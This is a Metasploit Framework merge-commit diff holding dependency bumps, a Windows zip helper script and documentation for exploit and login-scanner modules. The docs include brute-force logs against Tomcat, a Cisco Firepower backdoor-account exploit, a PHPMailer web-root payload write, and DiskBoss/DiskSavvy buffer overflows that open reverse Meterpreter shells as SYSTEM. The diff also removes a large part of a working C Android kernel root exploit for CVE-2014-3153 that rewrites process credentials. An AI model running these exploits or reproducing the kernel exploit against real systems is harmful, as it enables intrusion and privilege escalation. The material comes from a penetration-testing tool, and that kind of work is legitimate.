Merge remote-tracking branch 'upstream/master' into land-7787-

bug/bundler_fix
Brent Cook 2017-01-22 09:44:11 -06:00
commit 441222c2b5
111 changed files with 4246 additions and 7743 deletions

View File

@ -1,4 +1,4 @@
Copyright (C) 2006-2016, Rapid7, Inc.
Copyright (C) 2006-2017, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.13.11)
metasploit-framework (4.13.16)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -16,7 +16,7 @@ PATH
metasploit-model
metasploit-payloads (= 1.2.6)
metasploit_data_models
metasploit_payloads-mettle (= 0.1.4)
metasploit_payloads-mettle (= 0.1.6)
msgpack
nessus_rest
net-ssh
@ -103,7 +103,7 @@ GEM
thor (~> 0.19)
bcrypt (3.1.11)
bit-struct (0.15.0)
builder (3.2.2)
builder (3.2.3)
capybara (2.11.0)
addressable
mime-types (>= 1.16)
@ -132,7 +132,7 @@ GEM
nokogiri (~> 1.5)
railties (>= 3, < 5.1)
cucumber-wire (0.0.1)
diff-lcs (1.2.5)
diff-lcs (1.3)
docile (1.1.5)
erubis (2.7.0)
factory_girl (4.8.0)
@ -140,16 +140,16 @@ GEM
factory_girl_rails (4.8.0)
factory_girl (~> 4.8.0)
railties (>= 3.0.0)
faraday (0.10.1)
faraday (0.11.0)
multipart-post (>= 1.2, < 3)
ffi (1.9.14)
ffi (1.9.17)
filesize (0.1.1)
fivemat (1.3.2)
gherkin (4.0.0)
i18n (0.7.0)
jsobfu (0.4.1)
rkelly-remix (= 0.0.6)
json (1.8.3)
jsobfu (0.4.2)
rkelly-remix
json (1.8.6)
loofah (2.0.3)
nokogiri (>= 1.5.9)
metasm (1.0.2)
@ -180,7 +180,7 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.1.4)
metasploit_payloads-mettle (0.1.6)
method_source (0.8.2)
mime-types (3.1)
mime-types-data (~> 3.2015)
@ -192,7 +192,7 @@ GEM
multi_test (0.1.2)
multipart-post (2.0.0)
nessus_rest (0.1.6)
net-ssh (4.0.0)
net-ssh (4.0.1)
network_interface (0.0.1)
nokogiri (1.7.0.1)
mini_portile2 (~> 2.1.0)
@ -234,7 +234,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (12.0.0)
rb-readline-r7 (0.5.2.0)
recog (2.1.2)
recog (2.1.4)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.4)
@ -245,7 +245,7 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.5)
rex-core (0.1.6)
rex-encoder (0.1.2)
metasm
rex-arch
@ -257,7 +257,7 @@ GEM
rex-encoder
rex-text
rex-java (0.1.3)
rex-mime (0.1.1)
rex-mime (0.1.3)
rex-text
rex-nop (0.1.0)
rex-arch
@ -273,16 +273,16 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.2)
rex-socket (0.1.3)
rex-core
rex-sslscan (0.1.1)
rex-sslscan (0.1.2)
rex-socket
rex-text
rex-struct2 (0.1.0)
rex-text (0.2.10)
rex-text (0.2.11)
rex-zip (0.1.1)
rex-text
rkelly-remix (0.0.6)
rkelly-remix (0.0.7)
robots (0.10.1)
rspec-core (3.5.4)
rspec-support (~> 3.5.0)
@ -323,10 +323,10 @@ GEM
thread_safe (~> 0.1)
tzinfo-data (1.2016.10)
tzinfo (>= 1.0.0)
windows_error (0.0.2)
windows_error (0.1.0)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.9.5)
yard (0.9.8)
PLATFORMS
ruby

View File

@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Source: http://www.metasploit.com/
Files: *
Copyright: 2006-2016, Rapid7, Inc.
Copyright: 2006-2017, Rapid7, Inc.
License: BSD-3-clause
# The Metasploit Framework is provided under the 3-clause BSD license provided

Binary file not shown.

BIN
data/exploits/CVE-2014-3153.so Executable file

Binary file not shown.

87
data/post/zip/zip.js Normal file
View File

@ -0,0 +1,87 @@
/*
* Original technique from http://naterice.com/zip-and-unzip-files-using-the-windows-shell-and-vbscript/
*/
function create_zip(dst)
{
var header = "\x50\x4b\x05\x06" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00";
/*
* Trick to write a binary file regardless of the system locale
*/
var outw = new ActiveXObject("ADODB.Stream");
outw.Type = 2;
outw.Open();
outw.WriteText(header);
outw.Position = 0;
var outa = new ActiveXObject("ADODB.Stream");
outa.Type = 2;
outa.Charset = "windows-1252";
outa.Open()
outw.CopyTo(outa);
outa.SaveToFile(dst, 2);
outw.Close();
outa.Close();
}
function basename(path)
{
var a = path.split("\\");
var b = a.slice(-1);
return b[0];
}
function fileeq(a, b)
{
return basename(a).toLowerCase() == basename(b).toLowerCase();
}
function zip(src, dst)
{
var shell = new ActiveXObject('Shell.Application');
var fso = new ActiveXObject('Scripting.FileSystemObject');
/*
* Normalize paths, required by the shell commands
*/
src = fso.GetAbsolutePathName(src);
dst = fso.GetAbsolutePathName(dst);
/*
* Create an empty zip file if necessary
*/
if (!fso.FileExists(dst)) {
create_zip(dst);
}
/*
* Check for duplicates
*/
var zipfile = shell.Namespace(dst);
var files = zipfile.items();
var count = files.Count;
for (var i = 0; i < files.Count; i++) {
if (fileeq(files.Item(i).Name, src)) {
return;
}
}
zipfile.CopyHere(src);
/*
* Wait for completion, but data can be stale on network shares, so we
* abort after 5 seconds.
*/
var max_tries = 50;
while (count == zipfile.items().Count) {
WScript.Sleep(100);
if (max_tries-- == 0) {
return;
}
}
}

View File

@ -1,62 +0,0 @@
On Error Resume Next
Function WindowsZip(sFile, sZipFile)
'This script is provided under the Creative Commons license located
'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not
'be used for commercial purposes with out the expressed written consent
'of NateRice.com
Set oZipShell = CreateObject("WScript.Shell")
Set oZipFSO = CreateObject("Scripting.FileSystemObject")
If Not oZipFSO.FileExists(sZipFile) Then
NewZip(sZipFile)
End If
Set oZipApp = CreateObject("Shell.Application")
sZipFileCount = oZipApp.NameSpace(sZipFile).items.Count
aFileName = Split(sFile, "\")
sFileName = (aFileName(Ubound(aFileName)))
'listfiles
sDupe = False
For Each sFileNameInZip In oZipApp.NameSpace(sZipFile).items
If LCase(sFileName) = LCase(sFileNameInZip) Then
sDupe = True
Exit For
End If
Next
If Not sDupe Then
oZipApp.NameSpace(sZipFile).Copyhere sFile
'Keep script waiting until Compressing is done
On Error Resume Next
sLoop = 0
Do Until sZipFileCount < oZipApp.NameSpace(sZipFile).Items.Count
Wscript.Sleep(100)
sLoop = sLoop + 1
Loop
On Error GoTo 0
End If
End Function
Sub NewZip(sNewZip)
'This script is provided under the Creative Commons license located
'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not
'be used for commercial purposes with out the expressed written consent
'of NateRice.com
Set oNewZipFSO = CreateObject("Scripting.FileSystemObject")
Set oNewZipFile = oNewZipFSO.CreateTextFile(sNewZip)
oNewZipFile.Write Chr(80) & Chr(75) & Chr(5) & Chr(6) & String(18, 0)
oNewZipFile.Close
Set oNewZipFSO = Nothing
Wscript.Sleep(500)
End Sub

View File

@ -0,0 +1,51 @@
## Vulnerable Application
The administrator application was removed as of Tomcat 6. Tomcat 5.5.36 is available from [apache](https://archive.apache.org/dist/tomcat/tomcat-5/v5.5.36/). This does not have the `admin` app bundled though, and can be downloaded [here](https://archive.apache.org/dist/tomcat/tomcat-5/v5.5.36/bin/apache-tomcat-5.5.36-admin.zip).
To utilize the `admin` application, a user must have the permission `admin` applied to their account. The following user line will handle all necessary permissions:
```
<user username="tomcat" password="tomcat" roles="admin"/>
```
## Verification Steps
1. Install Tomcat 5.5 or older
2. Install the admin app
3. Start msfconsole
4. Do: ```use auxiliary/admin/http/tomcat_administration```
5. Do: ```set rhosts [ips]```
6. Do: ```set tomcat_user [username]```
7. Do: ```set tomcat_pass [username]```
8. Do: ```set rport [port]```
9. Do: ```run```
10. Find all the Tomcat admin portals
## Options
**rport**
The default is set to `8180`, which is only default on FreeBSD. All other operating systems, and the software itself, default to `8080`.
## Scenarios
Example run against Tomcat 5.5.36 with admin module installed against Windows XP
```
msf > use auxiliary/admin/http/tomcat_administration
msf auxiliary(tomcat_administration) > set rport 8085
rport => 8085
msf auxiliary(tomcat_administration) > set rhosts 192.168.2.108
rhosts => 192.168.2.108
msf auxiliary(tomcat_administration) > set verbose true
verbose => true
msf auxiliary(tomcat_administration) > set tomcat_pass tomcat
tomcat_pass => tomcat
msf auxiliary(tomcat_administration) > set tomcat_user tomcat
tomcat_user => tomcat
msf auxiliary(tomcat_administration) > run
[*] http://192.168.2.108:8085/admin [Apache-Coyote/1.1] [Apache Tomcat/5.5.36] [Tomcat Server Administration] [tomcat/tomcat]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,28 @@
This module allows you to log into an BAVision IP Camera's web server.
The instructions shipped with the camera do not mention clearly regarding the existence of the
lighttpd web server, and it uses admin:123456 as the default credential. Even if the default
password is changed, the account could also be bruteforced since there is no policy for lockouts.
## Vulnerable Application
The web server is built into the IP camera. Specifically, this camera was tested during development:
"BAVISION 1080P HD Wifi Wireless IP Camera Home Security Baby Monitor Spy Pet/Dog Cameras Video Monitoring Plug/Play,Pan/Tilt With Two-Way Audio and Night Vision"
http://goo.gl/pHAqS1
## Verification Steps
1. Read the instructions that come with the IP camera to set it up
2. Find the IP of the camera (in lab, your router should have info about this)
3. Do: ```use auxiliary/scanner/http/bavision_cam_login```
4. Set usernames and passwords
5. Do: ```run```
## Options
**TRYDEFAULT**
The ```TRYDEFAULT``` options adds the default credential admin:123456 to the credential list.

View File

@ -1,8 +1,8 @@
The auxiliary/scanner/http/tomcat_mgr_login works for Tomcat versions that uses HTTP
The `auxiliary/scanner/http/tomcat_mgr_login` works for Tomcat versions that uses HTTP
authentication.
Please note that for Tomcat 7 or newer, the roles required to use the manager application were
changed from the single manager role to the following four roles:
changed from the single `manager` role to the following four roles:
* manager-gui - Allows access to the HTML GUI and the status pages.
* manager-script - Allows access to the text interface and the status pages.
@ -39,3 +39,98 @@ To download the vulnerable application, you can find it here: https://tomcat.apa
2. Do: ```set RHOSTS [IP]```
3. Set TARGETURI if necessary.
4. Do: ```run```
## Scenarios
All scenarios are run with the credentials tomcat/tomcat.
### Tomcat 6
Tomcat 6.0.48 running on Ubuntu 14.04
```
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set rport 8080
rport => 8080
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.156
rhosts => 192.168.2.156
msf auxiliary(tomcat_mgr_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 192.168.2.156:8080 - LOGIN FAILED: admin:admin (Incorrect)
```
...snip...
```
[-] 192.168.2.156:8080 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.2.156:8080 - LOGIN SUCCESSFUL: tomcat:tomcat
[-] 192.168.2.156:8080 - LOGIN FAILED: both:admin (Incorrect)
```
...snip...
```
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Tomcat 7
Tomcat 7.0.68 running on Windows XP
```
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set rport 8087
rport => 8087
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.108
rhosts => 192.168.2.108
msf auxiliary(tomcat_mgr_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 192.168.2.108:8087 - LOGIN FAILED: admin:admin (Incorrect)
```
...snip...
```
[-] 192.168.2.108:8087 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.2.108:8087 - LOGIN SUCCESSFUL: tomcat:tomcat
[-] 192.168.2.108:8087 - LOGIN FAILED: both:admin (Incorrect)
```
...snip...
```
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Tomcat 8
Tomcat 8.0.32 unning on Windows XP
```
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.108
rhosts => 192.168.2.108
msf auxiliary(tomcat_mgr_login) > set rport 8088
rport => 8088
msf auxiliary(tomcat_mgr_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 192.168.2.108:8088 - LOGIN FAILED: admin:admin (Incorrect)
```
...snip...
```
[-] 192.168.2.108:8088 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.2.108:8088 - LOGIN SUCCESSFUL: tomcat:tomcat
[-] 192.168.2.108:8088 - LOGIN FAILED: both:admin (Incorrect)
```
...snip...
```
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,35 @@
This module exploits a vulnerability in Cisco Firepower Management Console RCE. It will
create a backdoor SSH account via HTTPS, and then obtain a native payload session
in SSH.
## Vulnerable Application
This exploit was specifically written against 6.0.1 (build 1213). To test, you can find the
virtual appliance here:
https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=286271056&release=6.0.1&flowid=54052
## Verification Steps
1. Start msfconsole
2. ```use exploit/linux/http/cisco_firepower_useradd```
3. ```set password [https console password for admin]```
4. ```set rhost [IP]```
5. ```set payload linux/x86/meterpreter/reverse_tcp```
6. ```set lhost [IP]```
7. ```exploit```
8. You should get a session
## Options
**USERNAME** The username for Cisco Firepower Management console
**Password** The password for Cisco Firepower Management cosnole
**NEWSSHUSER** The SSH account to create. By default, this is random.
**NEWSSHPASS** The SSH password for the new account. By default, this is also random.
**SSHPORT** In case for some reason, the SSH changed, otherwise this is 22 by default.

View File

@ -0,0 +1,79 @@
## Vulnerable Application
PHPMailer versions up to and including [5.2.20](https://github.com/PHPMailer/PHPMailer/archive/v5.2.20.tar.gz) are affected by a vulnerability which can be leveraged by an attacker to
write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed
to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an
HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful
exploitation can take a few minutes.
[5.1.18](https://github.com/PHPMailer/PHPMailer/archive/v5.2.18.tar.gz) is also targetted.
## Verification Steps
1. Install a vulnerable PHPMailer
2. Start msfconsole
3. `use exploit/multi/http/phpmailer_arg_injection`
4. Set the TARGETURI and WEB_ROOT options as applicable
5. `exploit`
6. Verify the module yields a PHP meterpreter session in < 5 minutes
7. Verify the malicious PHP file was automatically removed
## Scenarios
Demo taken directly from [PR7768](https://github.com/rapid7/metasploit-framework/pull/7768)
```
msf (S:0 J:0) exploit(php_mailer) > options
Module options (exploit/linux/http/php_mailer):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.90.134 yes The target address
RPORT 8080 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to the application root
TRIGGERURI no Path to the uploaded payload
VHOST no HTTP server virtual host
WEB_ROOT /www yes Path to the web root
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.90.134 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf (S:0 J:0) exploit(php_mailer) > rexploit
[*] Reloading module...
[*] [2016.12.29-17:03:47] Started reverse TCP handler on 192.168.90.134:4444
[*] [2016.12.29-17:03:47] Writing the backdoor to /www/0IxI5AFB.php
[*] [2016.12.29-17:04:07] Sleeping before requesting the written file
[*] [2016.12.29-17:04:07] Waiting for up to 300 seconds to trigger the payload
[+] [2016.12.29-17:04:48] Successfully found the payload
[*] [2016.12.29-17:05:50] Sending stage (34122 bytes) to 172.17.0.2
[*] Meterpreter session 4 opened (192.168.90.134:4444 -> 172.17.0.2:47280) at 2016-12-29 17:05:50 -0500
[+] [2016.12.29-17:05:50] Deleted /www/0IxI5AFB.php
[+] [2016.12.29-17:06:10] Successfully triggered the payload
meterpreter > sysinfo
Computer : 90f0c8e8dbe4
OS : Linux 90f0c8e8dbe4 4.8.15-200.fc24.x86_64 #1 SMP Thu Dec 15 23:09:22 UTC 2016 x86_64
Meterpreter : php/linux
meterpreter >
```

View File

@ -0,0 +1,100 @@
## Vulnerable Application
[DiskBoss Enterprise](http://www.diskboss.com) versions up to v7.5.12 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/71a11b97d2361389b9099e57f6400270-diskbossent_setup_v7.4.28.exe).
## Verification Steps
1. Install a vulnerable DiskBoss Enterprise
2. Start `DiskBoss Enterprise` service
3. Start `DiskBoss Enterprise` client application
4. Navigate to `Tools` > `DiskBoss Server Options` > `Server`
5. Check `Enable Web Server On Port 80` to start the web interface
6. Start `msfconsole`
7. Do `use exploit/windows/http/diskboss_get_bof`
8. Do `set rhost ip`
9. Do `check`
10. Verify the target is vulnerable
11. Do `set payload windows/meterpreter/reverse_tcp`
12. Do `set lhost ip`
13. Do `exploit`
14. Verify the Meterpreter session is opened
## Scenarios
###DiskBoss Enterprise v7.5.12 on Windows XP SP3
```
msf exploit(diskboss_get_bof) > options
Module options (exploit/windows/http/diskboss_get_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.198.130 yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.198.138 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(diskboss_get_bof) > exploit
[*] Started reverse TCP handler on 192.168.198.138:4444
[*] Automatically detecting the target...
[*] Selected Target: DiskBoss Enterprise v7.5.12
[*] Sending stage (957999 bytes) to 192.168.198.130
[*] Meterpreter session 1 opened (192.168.198.138:4444 -> 192.168.198.130:4476) at 2017-01-08 05:12:46 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : GABOR-03722ADE8
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter >
```
###DiskBoss Enterprise v7.4.28 on Windows 7 SP1
```
msf exploit(diskboss_get_bof) > set rhost 192.168.198.133
rhost => 192.168.198.130
msf exploit(diskboss_get_bof) > exploit
[*] Started reverse TCP handler on 192.168.198.138:4444
[*] Automatically detecting the target...
[*] Selected Target: DiskBoss Enterprise v7.4.28
[*] Sending stage (957999 bytes) to 192.168.198.133
[*] Meterpreter session 2 opened (192.168.198.138:4444 -> 192.168.198.133:49187) at 2017-01-08 05:16:13 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-BCJL9PJ5BF5
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter >
```

View File

@ -0,0 +1,100 @@
## Vulnerable Application
[DiskSavvy Enterprise](http://www.disksavvy.com) versions up to v9.3.14 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/20058a6ebf1120bca9ac92b493cac1ff-disksavvyent_setup_v9.1.14.exe).
## Verification Steps
1. Install a vulnerable DiskSavvy Enterprise
2. Start `Disk Savvy Enterprise` service
3. Start `Disk Savvy Enterprise` client application
4. Navigate to `Tools` > `Advanced Options` > `Server`
5. Check `Enable Web Server On Port 80` to start the web interface
6. Start `msfconsole`
7. Do `use exploit/windows/http/disksavvy_get_bof`
8. Do `set rhost ip`
9. Do `check`
10. Verify the target is vulnerable
11. Do `set payload windows/meterpreter/reverse_tcp`
12. Do `set lhost ip`
13. Do `exploit`
14. Verify the Meterpreter session is opened
## Scenarios
###DiskSavvy Enterprise v9.1.14 on Windows XP SP3
```
msf exploit(disksavvy_get_bof) > options
Module options (exploit/windows/http/disksavvy_get_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.198.130 yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.198.138 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(disksavvy_get_bof) > exploit
[*] Started reverse TCP handler on 192.168.198.138:4444
[*] Automatically detecting the target...
[*] Selected Target: DiskSavvy Enterprise v9.1.14
[*] Sending stage (957999 bytes) to 192.168.198.130
[*] Meterpreter session 1 opened (192.168.198.138:4444 -> 192.168.198.130:1140) at 2017-01-19 13:38:18 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : GABOR-03722ADE8
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter >
```
###DiskSavvy Enterprise v9.3.14 on Windows 7 SP1
```
msf exploit(disksavvy_get_bof) > set rhost 192.168.198.133
rhost => 192.168.198.130
msf exploit(disksavvy_get_bof) > exploit
[*] Started reverse TCP handler on 192.168.198.138:4444
[*] Automatically detecting the target...
[*] Selected Target: DiskSavvy Enterprise v9.3.14
[*] Sending stage (957999 bytes) to 192.168.198.133
[*] Meterpreter session 2 opened (192.168.198.138:4444 -> 192.168.198.133:49187) at 2017-01-08 05:16:13 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-BCJL9PJ5BF5
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter >
```

View File

@ -3,8 +3,19 @@ LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := exploit
LOCAL_SRC_FILES := exploit.c
LOCAL_CFLAGS := -fno-stack-protector -O0
LOCAL_MODULE := debugexploit
LOCAL_SRC_FILES := futex_requeue.c main.c
LOCAL_LDFLAGS += -llog
LOCAL_CFLAGS += -DDEBUG
LOCAL_CFLAGS += -fno-stack-protector -O0
include $(BUILD_EXECUTABLE)
include $(CLEAR_VARS)
LOCAL_CFLAGS += -fno-stack-protector -O0
LOCAL_MODULE := exploit
LOCAL_SRC_FILES := futex_requeue.c main.c
include $(BUILD_SHARED_LIBRARY)

View File

@ -2,14 +2,16 @@
all: install
build:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi
install: build
mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf
mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2014-3153.so
test: build
adb push libs/armeabi/exploit /data/local/tmp/exploit
adb shell "cd /data/local/tmp; ./exploit id"
push: build
adb push libs/armeabi/debugexploit /data/local/tmp/futex
run: push
adb shell "/data/local/tmp/futex"
clean:
rm -rf libs

View File

@ -1,834 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
#define KERNEL_START 0xc0000000
#define LOCAL_PORT 5551
struct thread_info;
struct task_struct;
struct cred;
struct kernel_cap_struct;
struct task_security_struct;
struct list_head;
struct thread_info {
unsigned long flags;
int preempt_count;
unsigned long addr_limit;
struct task_struct *task;
/* ... */
};
struct kernel_cap_struct {
unsigned long cap[2];
};
struct cred {
unsigned long usage;
uid_t uid;
gid_t gid;
uid_t suid;
gid_t sgid;
uid_t euid;
gid_t egid;
uid_t fsuid;
gid_t fsgid;
unsigned long securebits;
struct kernel_cap_struct cap_inheritable;
struct kernel_cap_struct cap_permitted;
struct kernel_cap_struct cap_effective;
struct kernel_cap_struct cap_bset;
unsigned char jit_keyring;
void *thread_keyring;
void *request_key_auth;
void *tgcred;
struct task_security_struct *security;
/* ... */
};
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct task_security_struct {
unsigned long osid;
unsigned long sid;
unsigned long exec_sid;
unsigned long create_sid;
unsigned long keycreate_sid;
unsigned long sockcreate_sid;
};
struct task_struct_partial {
struct list_head cpu_timers[3];
struct cred *real_cred;
struct cred *cred;
struct cred *replacement_session_keyring;
char comm[16];
};
struct mmsghdr {
struct msghdr msg_hdr;
unsigned int msg_len;
};
//bss
int uaddr1 = 0;
int uaddr2 = 0;
struct thread_info *HACKS_final_stack_base = NULL;
pid_t waiter_thread_tid;
pthread_mutex_t done_lock;
pthread_cond_t done;
pthread_mutex_t is_thread_desched_lock;
pthread_cond_t is_thread_desched;
volatile int do_socket_tid_read = 0;
volatile int did_socket_tid_read = 0;
volatile int do_splice_tid_read = 0;
volatile int did_splice_tid_read = 0;
volatile int do_dm_tid_read = 0;
volatile int did_dm_tid_read = 0;
pthread_mutex_t is_thread_awake_lock;
pthread_cond_t is_thread_awake;
int HACKS_fdm = 0;
unsigned long MAGIC = 0;
unsigned long MAGIC_ALT = 0;
pthread_mutex_t *is_kernel_writing;
pid_t last_tid = 0;
int g_argc;
char rootcmd[2048] = "";
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
len = write(pipefd[1], writebuf, count);
if (len != count) {
printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
while (1) {
sleep(10);
}
}
read(pipefd[0], readbuf, count);
close(pipefd[0]);
close(pipefd[1]);
return len;
}
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
write(pipefd[1], writebuf, count);
len = read(pipefd[0], readbuf, count);
if (len != count) {
printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
while (1) {
sleep(10);
}
}
close(pipefd[0]);
close(pipefd[1]);
return len;
}
void write_kernel(int signum)
{
struct thread_info stackbuf;
unsigned long taskbuf[0x100];
struct cred *cred;
struct cred credbuf;
struct task_security_struct *security;
struct task_security_struct securitybuf;
pid_t pid;
int i;
int ret;
FILE *fp;
pthread_mutex_lock(&is_thread_awake_lock);
pthread_cond_signal(&is_thread_awake);
pthread_mutex_unlock(&is_thread_awake_lock);
if (HACKS_final_stack_base == NULL) {
static unsigned long new_addr_limit = 0xffffffff;
char *slavename;
int pipefd[2];
char readbuf[0x100];
printf("cpid1 resumed\n");
pthread_mutex_lock(is_kernel_writing);
HACKS_fdm = open("/dev/ptmx", O_RDWR);
unlockpt(HACKS_fdm);
slavename = ptsname(HACKS_fdm);
open(slavename, O_RDWR);
do_splice_tid_read = 1;
while (1) {
if (did_splice_tid_read != 0) {
break;
}
}
read(HACKS_fdm, readbuf, sizeof readbuf);
printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit);
write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);
pthread_mutex_unlock(is_kernel_writing);
while (1) {
sleep(10);
}
}
printf("cpid3 resumed.\n");
pthread_mutex_lock(is_kernel_writing);
printf("hack.\n");
read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
read_pipe(stackbuf.task, taskbuf, sizeof taskbuf);
cred = NULL;
security = NULL;
pid = 0;
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
struct task_struct_partial *task = (void *)&taskbuf[i];
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
&& task->real_cred == task->cred) {
cred = task->cred;
break;
}
}
read_pipe(cred, &credbuf, sizeof credbuf);
security = credbuf.security;
if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
read_pipe(security, &securitybuf, sizeof securitybuf);
if (securitybuf.osid != 0
&& securitybuf.sid != 0
&& securitybuf.exec_sid == 0
&& securitybuf.create_sid == 0
&& securitybuf.keycreate_sid == 0
&& securitybuf.sockcreate_sid == 0) {
securitybuf.osid = 1;
securitybuf.sid = 1;
printf("task_security_struct: %p\n", security);
write_pipe(security, &securitybuf, sizeof securitybuf);
}
}
credbuf.uid = 0;
credbuf.gid = 0;
credbuf.suid = 0;
credbuf.sgid = 0;
credbuf.euid = 0;
